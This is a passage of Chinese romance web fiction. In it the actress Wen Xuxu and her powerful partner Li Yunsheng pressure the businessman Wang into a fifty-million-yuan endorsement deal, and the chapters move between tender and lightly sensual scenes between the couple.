他眼前仿佛已经浮现出那样的画面,王氏大厦被查封,别墅被拍卖,王双双穿着旧衣服站在街头,眼神绝望。 而他,只能在街头乞讨,被人指指点点。 他吞了吞口水,喉咙干涩得发痛,声音颤抖:“温小姐……我……我真不是想为难你。我只是……只是想讲个价。五千万,我真的拿不出。能不能打个折?少一点,三千万,两千万,我都尽力凑……” 他的声音低了下去,带着前所未有的卑微。 温栩栩听着,嘴角缓缓扬起。 她等的,就是这句话。 她知道,王建豪这种人,不到绝境,绝不会低头。而一旦低头,就意味着他彻底认输。 她轻笑一声,语气却忽然柔和了许多,像是在安慰一个迷途的孩子:“王总,瞧您这话说的。您可是帝城数一数二的大财主,区区五千万,怎么能说是拿不出呢?” 她故意拖长了语调,带着几分调侃:“在阿笙这里,五千万,也就是去一趟拍卖会,闭着眼睛就花出去的钱。在你们有钱人眼里,不就是一串数字吗?怎么到了您这儿,反倒成了天大的难题?” 她一边说着,一边空闲的那只手,轻轻握住黎云笙的手,指尖在他掌心画着圈,像是在撒娇,又像是在宣示某种胜利的喜悦。 黎云笙任由她闹,只是低头看着她,眼神温柔得能滴出水来。 温栩栩继续道:“不过呢……我也不是不讲情面的人。您要是真有难处,我们可以‘商量’。” “商量?”王建豪像是抓住了最后一根稻草,声音立刻拔高,“您说!怎么商量?” 温栩栩却不再急着回答。她慢悠悠地靠回黎云笙怀里,闭上眼,像是在享受这一刻的胜利。 她知道,王建豪已经彻底慌了,她越是拖,他越怕。 她故意沉默了几秒,才缓缓开口:“这样吧,五千万,一分不能少。但我可以给你三个月的分期付款时间。首期先付两千万,剩下的分两期,每期一千五百万。利息按银行正常贷款利率算,不多收你一分。” 王建豪愣住:“分期?” 温栩栩轻笑,“我这是给你留一线生机。你要不要,随你。但你要知道,一旦我改变主意,决定走法律程序,那你面临的,可就不只是五千万了。” 她语气冷了下来:“到时候,法院查封你资产,冻结你账户,王家的股价会跌得更快。你猜,是分期付五千万划算,还是被破产清算划算?” 第1313章 谁让你宠我 “可那是五千万……不是小数目……”王建豪还在犹豫。 温栩栩指尖轻轻摩挲着手机边缘,唇角微扬,眼底却冷得像冰封的湖面。 “不就是一个五后面八个零吗?王先生,你不会……这串数字都拿不出来吧?” 话音落下,王建豪里的保温杯“咚”地一声磕在茶几上,水花溅出杯沿,浸湿了他袖口的金丝袖扣。 他瞪大眼,脸色由红转紫,又由紫转青,像是被人当众扇了一耳光,又像是被逼到墙角的困兽,进退不得。 五千万。 那不是五百万,也不是五十万。是整整五千万!足以让一家中型公司倾尽全力、抵押全部资产才勉强凑齐的数字。 而她,温栩栩,却说得像是在问“你有没有带够早餐钱”一样轻描淡写。 他猛地灌下一大口热水,滚烫的液体滑过喉咙,却压不住胸口翻涌的怒火与羞辱。 他喘着粗气,额角青筋跳动,眼神几乎要喷出火来:“温小姐,你这是在羞辱我?” 温栩栩却只是轻轻叹了口气,眉眼低垂,忧愁而无辜。她转头望向坐在沙发上的黎云笙,声音软得能滴出水来:“阿笙,王先生……好穷哦。” 黎云笙,“……” 王建豪,“……” 黎云笙没说话。 他只是静静地坐在那里,黑色高领毛衣衬得他肤色冷白如玉,下颌线锋利如刀削,一双深邃的眼眸藏在微垂的睫毛下,看不清情绪。 他左手搭在沙发扶手上,指尖轻轻敲击扶手,节奏缓慢,却带着某种不容忽视的压迫感。 他没否认,也没反驳。 这沉默,比任何回应都更致命。 王建豪的心猛地一沉。 他知道,黎云笙的沉默是默许,默许温栩栩的每一句话。 “黎总……”王建豪艰难地开口,声音干涩,“黎氏集团若真有意合作,我们王家自然求之不得。可这五千万……是不是太……” “太什么?”温栩栩立刻接话,眉梢轻挑,笑意盈盈,“太夸张?太离谱?还是说王总根本就没打算拿出诚意?” 她步步紧逼,像一只优雅的猫,轻轻踱步,却已将猎物逼至绝境。 “阿笙的零花钱都不止五千万。”她歪头,语气天真得近乎残忍,“你不会真以为,黎家会跟一个连五千万都拿不出的企业谈合作吧?” 王建豪一口气堵在胸口,险些厥过去。 他猛地拍桌而起,保温杯彻底翻倒,水漫了一桌,像他此刻狼狈的尊严。 “温栩栩!你别太过分!” 温栩栩却只是轻轻一笑,指尖卷着一缕发丝,慢条斯理道:“我过分?我只是实话实说罢了。再说了——”她忽然压低声音,带着几分蛊惑般的轻柔,“你听,免提还开着呢。你现在说什么做什么阿笙都可以听得到呢,你不觉得丢脸你就尽管嚷嚷呢。” 她顿了顿,目光又落回黎云笙身上,声音忽然软了下来:“阿笙,你说是不是?” 黎云笙终于动了。 他缓缓抬眸,目光如深潭般沉静,落在温栩栩脸上。那眼神里有审视,有无奈,还有一丝藏不住的纵容。 他指尖轻轻一动,似是想摸烟,果然,指尖已触到烟盒冰凉的金属外壳。 可就在他即将取出的瞬间,一只纤细白皙的手先他一步,轻轻按住了他的手背。 是温栩栩摁住了她的手背。 她的眼睛亮得惊人,像盛着整个夏夜的星河,唇角微扬,带着几分狡黠的笑意:“阿笙,你不能再抽烟了。” 话音未落,她已干脆利落地抽出烟盒,指尖一弹,那盒烟便划出一道弧线,精准地落入三米外的垃圾桶。 动作干净利落,毫不拖泥带水。 黎云笙瞳孔微缩,喉结轻滚,唇角却扬起一抹极淡的笑。 他盯着她,像是在看一个胆大包天却让他无可奈何的小孩。 “惯坏你了。”他低声道,声音低沉磁性,像大提琴最深处的弦音。 温栩栩却笑得更甜了,像是得了奖赏的猫,蹭到他膝边,仰头望着他:“惯的,都是你惯的。” 黎云笙眸色一深,指尖轻轻抚过她颊边一缕碎发,动作轻柔,却带着不容抗拒的掌控力。 他没再说话,只是重新靠回沙发,目光却始终没从她身上移开。 那眼神,像在看一件属于自己的珍宝,又像在看一只在他掌心肆意撒野却让他甘之如饴的猫。 温栩栩却毫不怯场,反而更加得意。 她转身倒了杯橙汁,玻璃杯在灯光下泛着琥珀色的光,她小口啜饮,唇上沾了点橙汁,晶莹剔透,像缀了露珠的花瓣。 然后,她忽然转身,走到黎云笙面前,双手撑在沙发扶手上,俯身凑近。 “叭。” 一个清脆的吻,落在他左侧脸颊。 “叭叭。” 又是两下,右脸、额头,接连不断。 她吻得认真又调皮,像在盖章,又像在撒娇。 橙汁的酸甜气息随着她的呼吸扑在他脸上,黏腻、清冽,还带着她独有的香气。 黎云笙的睫毛颤了颤。 他没躲,也没推。只是静静地看着她,眸底翻涌着某种难以言喻的情绪,像是被惹恼了,又像是被取悦了。 他的指尖缓缓收紧,捏住她纤细的手腕,力道不重,却足以让她无法逃离。 “温栩栩。”他低唤她的名字,声音沙哑,像被砂纸磨过,“你知不知道,你现在的样子,像什么?” 她眨眨眼,装傻:“像什么?” “像一只偷了鱼还敢在我面前甩尾巴的猫。”他终于笑了,那笑意从眼底漫开,带着几分危险的温柔,“而且,还特别会惹事。” 温栩栩却毫不畏惧,反而凑得更近,鼻尖几乎贴上他的:“那你也得认啊,谁让你宠我。” 黎云笙低笑出声,胸腔震动,连带着沙发都似轻轻颤了颤。 他终于松开她的手腕,却改为扣住她的后颈,将她拉近,声音低得只有她能听见:“再闹,我就把你关起来,哪儿也不让去。” 她却笑得更欢,眼尾泛着俏皮的红:“那你关啊,我倒要看看,你真的舍得吗?” 第1314章 天凉了,王家该破产了 两人之间的空气仿佛被点燃了,暧昧如藤蔓般悄然攀爬,缠绕在每一个呼吸之间。旁若无人,却又炽烈得让人无法忽视。 而被彻底遗忘的王建豪面色铁青,能完全感觉到自己被这两个人无视了。 过了好一会儿,温栩栩才终于重新开口了。 “王先生。”温栩栩语气却已恢复了冷淡,“我已经给你面子让你分期付款了,你该明白我已经非常好心了。” “你——!”王建豪怒极反笑,“你算什么东西?你不过是个……” “她是我黎云笙的人。”黎云笙终于开口,声音不大,却像一道惊雷仿佛在此刻直接劈到王建豪天灵盖,“她的话,就是我的意思。” 王建豪愣住。 在黎云笙开口的这一瞬间王建豪就清楚的知道自己输了。 输得彻彻底底。 王建豪知道,自己没有选择的余地了。 温栩栩也因为黎云笙这句话开心,此刻她清了清嗓子,轻轻咳了一声,像是要将胸腔里那点微不可察的紧张也一并咳出。 她微微侧过头,不敢对上男人那双深不见底、却又炽热如火的眼眸。 那目光太烫,烫得她心口发颤,仿佛只要一个对视,就会被他看穿所有伪装下的柔软与依赖。 她指尖轻轻捏住玻璃杯的边缘,指腹泛白,像是在借力稳住自己。 窗外夜色如墨,城市的灯火在远处连成一片星河,映在她眼底,却照不亮她此刻故作冷淡的神情。 “王先生,”她终于开口,声音清冷如秋夜霜露,一字一句却如刀锋般精准,“你到底有没有五千万?你要想以后跟黎氏合作,连五千万都拿不出来,那可是要上黎氏黑名单的小穷破烂作坊。” 她顿了顿,唇角微扬,笑意却不达眼底,像一朵开在寒潭边的白莲,美得惊心,却冷得刺骨。 “小穷破烂作坊。”她轻飘飘地吐出这五个字,语气轻巧得仿佛在谈论天气,可这句话却狠狠扎进王建豪的心窝。 王建豪猛地捂住胸口,脸色瞬间惨白,像是被人当胸捅了一刀。 他喘着粗气,额角青筋暴起。 小穷破烂作坊? 他王建豪在帝城也算有头有脸的人物,王氏集团虽不及黎氏那般只手遮天,却也是老字号,旗下成衣厂养活了上千人,何时被人如此羞辱过? 可偏偏,羞辱他的人是温栩栩,而她身后站着的,是黎云笙。 能轻易搅动整个帝城商界风云的男人。 “温小姐……”王建豪声音发颤,额上冷汗涔涔,“五千万……真的有点多。我……我能挪动的不动产真的不多,银行贷款也……也快到期了……” 他语气里带着几分哀求,几分挣扎,像一个被逼到绝境的商人,试图用最后的诚实换取一丝怜悯。 他现在终于懂得尊重温栩栩了。 可偏偏温栩栩不是会心软的人。 她冷笑一声,眉梢轻挑:“那黎氏合作,想都别想。我也不可能为王氏说话,天凉了,王家该破产了。” “破产”两个字,她说得极轻,却重如千钧。 王建豪眼前一黑,几乎要栽倒在地。 他死死攥住沙发扶手,指节发白,喉头一甜,真想呕出一口鲜血来。 他不是没经历过风浪,可这一次,他面对的不是商业对手,而是一个女人轻描淡写的宣判。 “温小姐!等等!”他猛地抬头,声音嘶哑,“五千万!我能拿出五千万!五千万行不行!” 他几乎是吼出来的,带着孤注一掷的绝望。 温栩栩眸光微闪,轻轻“呦”了一声,语气里满是戏谑:“也不是不行。” 她顿了顿,故意拖长语调。 “哎……”她轻叹一声,眉宇间浮起一丝“同情”,“原来王家真的这么穷啊。” “穷”字一出,王建豪只觉得脸上火辣辣的,像是被当众扇了耳光。 他干笑几声,笑声比哭还难听:“温小姐说笑了……五千万……我们……凑一凑,还是能拿出来的。” “凑?”温栩栩挑眉,语气陡然冷了下来,“黎氏从不跟‘凑’钱的人合作。要么全额到账,要么关门大吉。” 这次甚至是分期付款的机会都不给他了。 她话音未落,黎云笙那边终于有了动静。 他依旧没说话,只是指尖轻轻敲了敲沙发扶手,那节奏缓慢而沉稳。 温栩栩见状,嘴角微扬,忽然换上一副软糯甜腻的语气,转头看向黎云笙:“阿笙,你说是不是?五千万都拿不出的企业,以后还是别出现在你面前了,脏了你的眼。” 黎云笙终于抬眸,只吐出两个字:“嗯,脏。” 王建豪浑身一颤,冷汗瞬间浸透后背。 他很清楚一件事,在帝城,黎家一句话,能让人平步青云,也能让人万劫不复。 而“脏”这个字,一旦被黎云笙用在谁身上,那便意味着此人再无翻身之日。 “五千万!”王建豪几乎是咬牙切齿地挤出这几个字,“三天内!我一定把五千万转到黎氏账户!一分不少!” 他说这话时,心在滴血。 那是他最后的流动资金,是他准备用来收购隔壁工厂的救命钱,是他王家未来三年的运营储备。 可现在,全要交给温栩栩,只为了换一句“不被拉黑”。 温栩栩却只是轻轻“嗯”了一声,像是这才勉强满意。 她慢条斯理地拿起手机,指尖在屏幕上轻点两下,才道:“给我几分钟。” 王建豪如蒙大赦,连忙点头:“好好好!您慢慢来!不急不急!” 可他心里清楚,他急,他比谁都急。 温栩栩要是不在微博上为王家正名,王家股价明天就得跌停,代言解约、供应商撤资、银行催贷……连锁反应之下,王家离破产,真的只差一步。 “另外。”温栩栩忽然开口,语气恢复了清冷,“王家官微可以宣一下,我是新一季成衣的代言人。前提是我只短期代言,帮你们解决这次大麻烦。别想让我跟王家的东西长期绑定,我不接烂摊子。” 王建豪眼前一黑,差点晕过去。 五千万砸进去,换来的只是一个“短期代言”? 第1315章 你是不是被我惯坏了 王建豪咬牙切齿:“温小姐,五千万……都不能买你一年的代言?” “一年?”温栩栩像是听到了天大的笑话,轻笑出声,“劳烦你去看看我现在的热度。我的国民度会一点点上去,代言王家这衣服”她顿了顿,语气毫不留情,“太掉价。” 她这话,说得极狠。 可偏偏,她说的是事实。 温栩栩虽然现在是一个无人问津的十八线小演员,但迟早会成为顶流女星,以后温栩栩的商业价值,就不是五千万能衡量的。 “帮你们解决麻烦,”她语气冷得像冰,“不是让你们死赖着我吸血。这点,你要清楚。” 她有她的未来规划,清晰、冷静、不容动摇。 小品牌,她不会签。 不是瞧不起,而是战略性的拒绝。 她太清楚娱乐圈与商业代言的潜规则了,一旦你被定性为“便宜好用”的代言人,那些真正顶级的大牌,便会悄然退场。 香奈儿不会找一个常年代言平价快时尚的女星,DIOR也不会青睐一个被贴上“性价比”标签的面孔。 口碑一旦固化,便再难翻身。 她温栩栩以后要的是顶级资源,是国际红毯,是影后奖杯,是国民女神的封号,而不是一辈子被钉在“小品牌救星”的耻辱柱上。 所以,她可以跟王家签约,但必须是“短期”“危机公关”“情分所致”而不是“签约”“长期合作”“商业绑定”。 王建豪终于明白了。 他不是没脑子,只是被逼到绝境时,才看清这场游戏的真相。 温栩栩根本就没打算做王家的代言人。 她要的,只是那五千万的“道歉费”,名义上是代言预付款,实则是一场赤裸裸的赎金交易。 她温栩栩,空手套白狼,用一个微博发文,换来了五千万现金,还顺带踩了王家一脚,立了威,扬了名。 而王家,除了咬牙认栽,别无选择。 挂电话前,王建豪终究还是不甘心,声音沙哑地问了一句:“那……黎氏日后,有没有机会跟我们王家合作?” 他问得卑微,像是在乞求一丝怜悯。 温栩栩却只是“呵”了一声,那笑声轻飘飘的,却比刀子还锋利。 “王先生,”她语气淡漠,“你给我的是五千万,又不是五个亿。青天白日的,做什么美梦呢?” 五个亿,或许还能让黎氏看一眼财报。 五千万?连黎氏一个季度的茶水费都不够。 王建豪彻底沉默了。 他终于明白,自己从头到尾,都不过是温栩栩手中的一枚棋子,被她耍得团团转,还不得不感恩戴德。 “那……你记得去微博说句话。”他最后提醒,声音里带着压抑的怒意与屈辱。 “放心。”温栩栩语气轻快,“我温栩栩,说到做到。” 温栩栩指尖在手机上轻点,编辑了一条微博: 【新季成衣,简约而不简单。很荣幸成为王氏品牌短期代言人,共度时艰,未来可期。#温栩栩代言王氏#】 发送。 不过十秒,评论区炸了。 “什么?温女神代言王氏?” “救命!我女神是不是被绑架了?” “楼上的,别吵,温女神发的是‘短期’,重点是‘短期’!” “懂了,这是救场,不是长线合作。” “温栩栩跟王氏合作,那是不是说明之前黑温栩栩的不是王氏了?跟王氏没关系那就不用黑王氏了!” 而王建豪,看着那条微博,眼底终于浮起一丝劫后余生的光。 王建豪算是终于松了一口气的挂断了电话。 温栩栩却只是轻笑,将手机随手扔到沙发上,像丢开一件用完即弃的工具。 等挂断电话才重新挤到黎云笙身边望着他,眼眸亮得惊人,像盛满了整个银河的星光,直直望进黎云笙的眼底:“阿笙,我表现得好吗?我是不是很厉害?” 黎云笙终于动了。 他缓缓伸出手,指尖轻轻抚过她微红的脸颊,声音低沉而温柔:“嗯,很凶。” “凶?”她皱眉,佯装不满,“我这叫专业。” “专业地气人。”他低笑,指尖滑至她耳垂,轻轻一捏,“王建豪那边怕是脸都绿了。” “活该。”她哼了一声,靠进他怀里,声音闷闷的,“谁让他敢在你眼皮子底下耍心眼?还敢质疑我?” 说着她噗嗤一笑,靠进他怀里,像只终于得到夸奖的猫,轻轻蹭着他胸口的布料:“不敲打王家人一下,他们还真的以为我好欺负。” 黎云笙低笑,胸腔震动,带着令人心安的温度。 他将她轻轻揽入怀中,下巴抵在她发顶,声音低哑:“嗯,没人能欺负你。” 黎云笙低笑出声,胸腔震动,带着令人心安的温度。 他将她轻轻揽入怀中,下巴抵在她发顶,声音温柔却带着不容置疑的占有:“以后这种事,交给我。别脏了你的手。” 她却摇头,仰头望着他,眼神倔强:“不,我要让他们知道,我温栩栩也不是好惹的。” 黎云笙眸光一颤。 他低头,吻了吻她的唇角,声音低哑:“嗯,不好惹,就像是个小霸王。” 温栩栩哼了一声:“哪有说自己爱人是小霸王的,乱讲。” 说完却又笑了,笑得像春日初绽的花,甜得让人心尖发颤。 温栩栩轻轻舔了舔唇,唇瓣微干,像是被这深夜的寂静吸走了所有水分。 他修长的手掌缓缓伸出,干燥而温热,却带着一丝她熟悉的、若有若无的冷意,带着他骨子里与生俱来的疏离。 他握住她的手,指腹轻轻摩挲着她手背的肌肤。 她没有挣扎,反而顺势蜷缩进去,像终于找到归处的幼兽,将脸埋进他颈窝,贪婪地呼吸着他身上清冽的雪松香。 那味道让她安心,让她上瘾,让她觉得,哪怕全世界都抛弃了她,只要他在,她就不是孤身一人。 “刚才顺着你说了那么多,你是不是忘记你做了什么?”他声音低哑,“刚才抢我烟盒?温栩栩,你是不是被我惯坏了。” 他语气听着有点严肃,但明摆着并没有生气,抱着她的手臂却收得更紧,像是怕她逃走。 第1316章 我想吻一吻你的眼睛 温栩栩在他怀里轻轻蹭了蹭,鼻尖蹭过他衬衫的领口,像只撒娇的猫。 她在黎云笙身边,总像是得了“皮肤饥渴症”,只要片刻不见,就想见,只要见了,就想贴得更近,只要贴得近了,就想在他怀里打滚、撒娇、赖着不走。 她贪恋他的温度,贪恋他的怀抱,贪恋他那双总是冷淡却唯独对她温柔的眼。 “不回我话,又在闹什么?”他低头,下颌轻轻蹭过她发顶,声音里带着一丝无奈,又藏着几分宠溺。 温栩栩却不答,反而抬起手,环住他两条结实的手臂,像藤蔓缠绕着大树,轻轻摇晃着,声音软得能滴出水来:“我变成这样,不全怪我啊……主要是你对我太好了,什么都依着我,惯得我无法无天,现在倒来怪我?” 她仰起脸,眼眸亮晶晶的,带着狡黠的笑意:“都赖你惯的我。你的锅我可不背。” 黎云笙本还带着几分笑意的瞳眸,此刻墨色愈发浓郁,深得像一口古井,倒映着她娇俏的面容。 他凝视着她,良久,才低低地笑了声:“我对你很好?” 语气里带着一丝自嘲,又像是在确认什么。 温栩栩却忽然安静了。 她眸光微黯,像是被什么轻轻刺了一下,随即,唇角缓缓扬起,是一抹缱绻而温柔的笑。 “反正,”她轻声说,“除了翠翠外,就是你对我最好最好。” 她顿了顿,声音更轻,却字字清晰:“你对我的好,不是能用语言算清的。你不知道……你向那个深陷泥潭的我伸出手时,是给了我新生。” 黎云笙听着,唇线微微绷紧,像被什么击中了心口。 他沉默片刻,忽然伸手,骨节分明的手指轻轻捏住她的下巴,迫使她抬起头,对上他那双温柔却深不见底的黑眸。 他眼脸逼近,鼻尖几乎要触到她的,如此近的距离,近得能看清她每一根睫毛的颤动,能数清她瞳孔里映出的自己。 他细细地看她。 她的眼睛很漂亮,却不是传统意义上的桃花眼。眼尾微微上挑,带着几分凤眼的凌厉,又有狐狸眼的勾人,眼睑处像自带了眼线,深邃而迷人,看人时总带着几分若有若无的惑人意味,像是不经意间就能勾走人的魂。 她的鼻梁高挺,鼻梁中间有一小块突起,驼峰鼻。有人说这不完美,可在他眼里,这恰恰是她真实感的来源。那一点微小的不规则,非但不破坏美感,反而让她多了几分知性与倔强。加之鼻头微微上翘,又添了几分俏皮与灵动。 她的肌肤白皙柔嫩,像是上等的羊脂玉,透着淡淡的粉,唇色是自然的樱粉,此刻因呼吸微促而显得更加鲜活。五官精致得像是被精心雕琢过,每一处都恰到好处,美得惊心,却又不显虚假。 他看着她,像是在看一件失而复得的珍宝,眼神里有疼惜,有占有,更有深不见底的温柔。 “你总是这样,”他低语,声音沙哑,“明明最倔强,偏要装乖巧,明明最聪明,偏要装糊涂,明明贪恋我,偏要说是我惯的你。” 温栩栩眨了眨眼,睫毛扫过他指尖,痒痒的。 “因为……”她轻声说,“我就是喜欢在你面前撒娇啊,你不喜欢吗。” “喜欢,特别喜欢。”他轻笑着,指腹缓缓移向她的眼角,轻得像一片羽毛拂过湖面,带着微不可察的温热。 那触感细腻而暧昧,从她睫毛微卷的弧度上轻轻掠过,像是在描摹抚弄。 温栩栩条件反射地闭上眼,长睫轻颤,像受惊的蝶翼,在他指尖下微微抖动。 空气仿佛凝滞了。 房间里只余下两人交错的呼吸,轻缓而灼热,交织成一张无形的网,将他们紧紧缠绕。 温栩栩的手不自觉地揪紧了他袖口的布料,指节微微泛白,掌心却沁出细密的汗。 她心跳如鼓,耳膜嗡鸣,仿佛整个世界都缩小成了这方寸之间,他温热的掌心,她闭合的眼睑,以及那近在咫尺、却尚未落下的吻。 “阿笙?”她轻声唤他,声音微颤,像风中摇曳的烛火,带着一丝不确定的试探与隐隐的期待。 她想睁开眼,想看清他此刻的表情,是温柔?是深情?还是那惯常的、让人捉摸不透的深邃? 可她刚一动,他却轻轻按住她的眼睑,掌心温热,却带着不容抗拒的力道。 “别睁开眼。”他低语,声音温柔得近乎蛊惑。 温栩栩顿住,呼吸一滞。 她顺从地闭着眼,睫毛在他掌心轻轻扫动,像在回应他无声的邀约。 “你的眼睛很漂亮,”他继续说着,气息拂过她的眼皮,温热而湿润,“我想吻一吻你的眼睛。” 话音落下,他终于低头。 唇瓣轻轻落在她右眼的眼睑上,那触感轻柔得像一片雪落在湖面,没有重量,却激起千层涟漪。 温栩栩浑身一颤,手指猛地收紧,几乎将他袖口的布料攥出褶皱。 她能感觉到他唇上的温度,那热度透过薄薄的眼皮渗入神经,一路烧到心尖。 一吻落下,他并未立刻离开,而是停驻在那里,唇角微扬,呼吸轻缓地拂过她敏感的眼周。然后,他缓缓移动,吻向她的左眼,同样是轻柔的一触,像在珍视世间最脆弱的珍宝。 温栩栩忍不住轻喘,鼻尖泛起微红,呼吸紊乱得像被风吹乱的纸页。 她闭着眼,却仿佛看见了光,不是刺目的亮,而是从他掌心透出的、温柔的暗红,像被晚霞浸染的云层,包裹着她,温暖着她。 “阿笙……”她低喃,声音轻得几乎听不见。 他没有回应,只是将脸埋得更深,鼻尖轻轻蹭过她的眉骨,下颌抵在她额角,唇沿着她眼尾的弧度缓缓游移。 他的吻从眼睑滑向眼角,再至太阳穴,最后落在她微凉的额头上,一个又一个,轻柔而执着,像是要将她的每一寸轮廓都刻进记忆。 温栩栩终于忍不住,轻轻偏过头,唇瓣无意间擦过他的下颌。 那一瞬,他动作一顿,随即低笑出声,声音里带着压抑的欲望与宠溺。 “小狐狸,”他哑声唤她,“总是勾我。” 第1317章 你……真的会为我失控吗 她睁不开眼,却能感觉到他眼中的笑意,那笑意像暖流,缓缓淌进她心底。 她抿了抿唇,脸颊发烫,小声辩解:“我才没有……是你先……” “是我先?”他低笑,忽然将她搂得更紧,另一只手抚上她的后颈,轻轻摩挲,“可你明明在抖。” 她确实在抖。 不是害怕,而是兴奋,是期待,是那种被深爱着、被珍视着的颤栗。 她在他怀里蜷缩得更紧,像只终于找到归处的幼兽,贪恋着他给予的每一分温热。 他再度俯身,这次,他的唇终于落在了她的唇上。 没有急切,没有粗暴,而是温柔地、缓慢地碾压,像春风拂过初绽的花蕊,一点一点,将她融化。他的吻带着雪松的清冷,却奇异地让人上瘾。 温栩栩不自觉地回应,舌尖轻轻探出,触到他微凉的唇角,换来他一声低哑的叹息。 他唤她名字,声音沙哑得像被砂纸磨过,“你知不知道,你这样子,会让我失控。” 她睁开眼,尽管他仍遮着她的视线,她却能“看见”他此刻的模样,眉眼深邃,眸光灼灼,呼吸微乱,却仍竭力克制着,只为不惊扰她分毫。 温栩栩轻声呢喃,声音像一缕被风托起的羽毛,轻轻落在黎云笙的耳畔:“我说,我喜欢看你因为我而失控的模样……这样,我好像会有些得意的。” 她的语气带着几分狡黠,又藏着一丝羞怯,像是春夜里悄然绽放的夜来香,香气不浓烈,却足以让人沉沦。 话音未落,她已在他怀里微微蹭了蹭,动作轻得如同一片羽毛拂过心尖,却在黎云笙心底激起层层涟漪。 黎云笙一怔,眸光骤然暗沉。 他向来是克制的,是冷静的,可唯独在她面前,所有的理性与城府都如薄冰遇阳,悄然融化。 他低头看着怀中的人,她的眼眸亮得惊人,像是盛满了整个星河,而那星河的中心,竟仿佛只为映照他一人。 “得意?”他低笑,声音沙哑得几乎不成调,“那你可得做好准备,温栩栩,我怕我一旦失控,就再也收不回来了。” 话音落下,他忽然抬手,修长的手指轻轻捧住她的脸颊。 他的掌心微烫,指腹带着些许薄茧,轻轻摩挲过她细腻的肌肤,温栩栩呼吸一滞,眼睫轻颤。 然后,他俯身,吻上了她的眉心。 那是一个极轻、极柔的吻,仿佛怕惊扰了什么。他的唇温热而虔诚,从她的眉心缓缓下移,落在她紧闭的眼睑上。 温栩栩轻轻吸了一口气,睫毛在他唇下微微颤动,像是被春风拂过的花瓣,柔软得让人心尖发颤。 他吻得极慢,极耐心,唇瓣沿着她的眼尾滑落,掠过她挺直的鼻梁,最终,停在她的唇畔。 他没有立刻吻下去,而是轻轻摩挲着她的下唇,用唇角蹭了蹭,像是在试探,又像是在引诱。 “睁眼。”他低语,声音低沉得几乎是从胸腔里溢出。 温栩栩缓缓睁开眼,撞进他深邃如渊的眸子里。 那里面,有压抑已久的炽热,有隐忍的深情,还有一丝近乎执拗的占有欲。 她的心跳如鼓,几乎要冲破胸膛。 “我想看你的眼睛。”他哑声说。 然后,他终于吻住了她。 这个吻来得汹涌而克制,热烈而温柔。 黎云笙的吻从她的唇角蔓延至耳垂,轻轻咬了一下,惹得她低低轻喘。 他低笑,声音里带着得逞的愉悦:“你看,你也失控了。” 她没说话,只是将脸埋进他的颈窝,呼吸急促而滚烫。他却不愿放过她,一手扣住她的后颈,将她轻轻抬起,再次吻住她的唇。 这一次,他的吻带着几分侵略性,舌尖轻撬她的齿关,温柔而坚定地探入。 温栩栩微微战栗,像是被电流击中,全身的神经都在这一瞬绷紧又松弛。 他们的吻越来越深,仿佛要将彼此的灵魂都揉进对方的身体。黎云笙的手从她的脸颊滑落,缓缓抚上她的后背,将她紧紧拥入怀中。 她的身体贴上他结实的胸膛,能清晰地感受到他每一下心跳的震颤。他的吻从唇移至她的下颌,沿着颈线缓缓下滑,落在她白皙的锁骨上,留下一个又一个浅淡的印记。 “黎云笙……”她轻唤他的名字,声音带着从未有过的柔软与依赖。 他停下动作,抬眸看她,眼底翻涌着浓得化不开的情意。“嗯?”他低应,嗓音沙哑得几乎不成调。 “你……真的会为我失控吗?”她仰望着他,眸光清澈,却带着一丝小心翼翼的试探。 他凝视她片刻,忽然低笑出声,那笑声里带着几分自嘲,又带着几分释然:“你自己感受不到?还要我说的更清楚才懂?” 他说着,再次低头,吻住她的唇。 这个吻比之前更温柔,也更坚定,像是回应温栩栩此刻有些过于愚蠢的问题。 温栩栩闭上眼,任由自己沉溺其中。 两人胡闹够了,温栩栩懒懒地靠在黎云笙肩头,发丝微乱,脸颊还泛着未褪的红晕。 黎云笙坐在床边,一手轻轻揽着她的腰,另一只手已从她滚落的外套里取出手机。 他指尖修长,动作却利落得不容置疑,点开通讯录,找到“王世豪”三个字,毫不犹豫地拨了出去。 电话那头几乎是秒接。 “祖宗!你又要干什么!”王世豪的声音劈头盖脸砸过来,带着被惊扰的暴躁与疲惫,仿佛已经被温栩栩的“突发奇想”折磨得神经衰弱。 他话音未落,黎云笙已淡淡开口,声音冰冷:“王总,是我。” 那一瞬,电话那头像是被按下了暂停键。 王世豪的声音戛然而止,仿佛被人掐住了喉咙。 他猛地坐直身子,手忙脚乱地捂住听筒,大口喘着气,眼睛瞪得滚圆,脸色瞬间惨白如纸,额角冷汗“唰”地一下就冒了出来。 “黎……黎总?!”他声音发颤,几乎要从椅子上滑下去,“您、您怎么拿温小姐的手机给我打电话呢……这……这……” 他语无伦次,脑子里飞速运转,两人关系亲密,他早有耳闻,可没想到,黎云笙竟会亲自出面,用她的手机打给自己。 第1318章 偷腥的猫 王世豪实在是多想了很多。 他想,黎云笙着到底什么意思?这意味什么?是警告?是施压? 还是……他根本已经把温栩栩护到了连私人事务都要亲自过问的地步? 黎云笙没理会他的慌乱,语气依旧冷淡,像在处理一桩再寻常不过的商务往来:“我没有你的电话。” 王世豪一愣,随即反应过来,连忙赔笑:“啊,是是是,那黎总您方便记一下我的电话吗?以后有什么事,咱们也能常联系,多多沟通,多多合作嘛……” “不方便。”黎云笙毫不犹豫地打断,语气斩钉截铁,没有丝毫转圜余地。 王世豪脸上的笑僵住了,额角青筋跳了跳,冷汗顺着鬓角滑下。 他干笑两声,声音都变了调:“那……那黎总您找我是有什么别的事?您尽管吩咐,只要我能办到的,绝无二话。” 黎云笙终于说出了目的,声音平稳,却带着不容置疑的威压:“你给温栩栩的五千万,算作三个月一期的短期成衣代言费。明天我会让宋婉榕去王氏集团跟你签订正式合同。” “啊?”王世豪脑子一懵,差点以为自己听错了,黎云笙是真的打算插手这件事啊! 他下意识想反驳,又赶紧压下情绪,小心翼翼道:“黎总,您看,要是直接把钱转给她,不是更方便?省去中间流程,也省了税费。这要是走代言费,光个人所得税就得扣掉将近一半,五千万到她手里也就三千多万,实在不太划算啊……” “这不是你该考虑的。”黎云笙声音陡然降到了冰点,语气里的不耐与警告清晰可闻,“明天我会让宋律师联系你,你只需要把钱准备好就够了。” 话音未落,电话那头“嘟”的一声,通话已被干脆利落地掐断。 王世豪举着手机,呆坐在原地,仿佛被一盆冰水从头浇到脚。 他盯着黑下去的屏幕,久久回不过神。 “黎云笙……亲自出面……为温栩栩要钱?”他喃喃自语,手指微微发抖,“这不是要钱,这是立规矩啊……” 王世豪陷入了绝境。 这些年,他靠着王氏集团的资源,在商界横冲直撞,赚得盆满钵满。 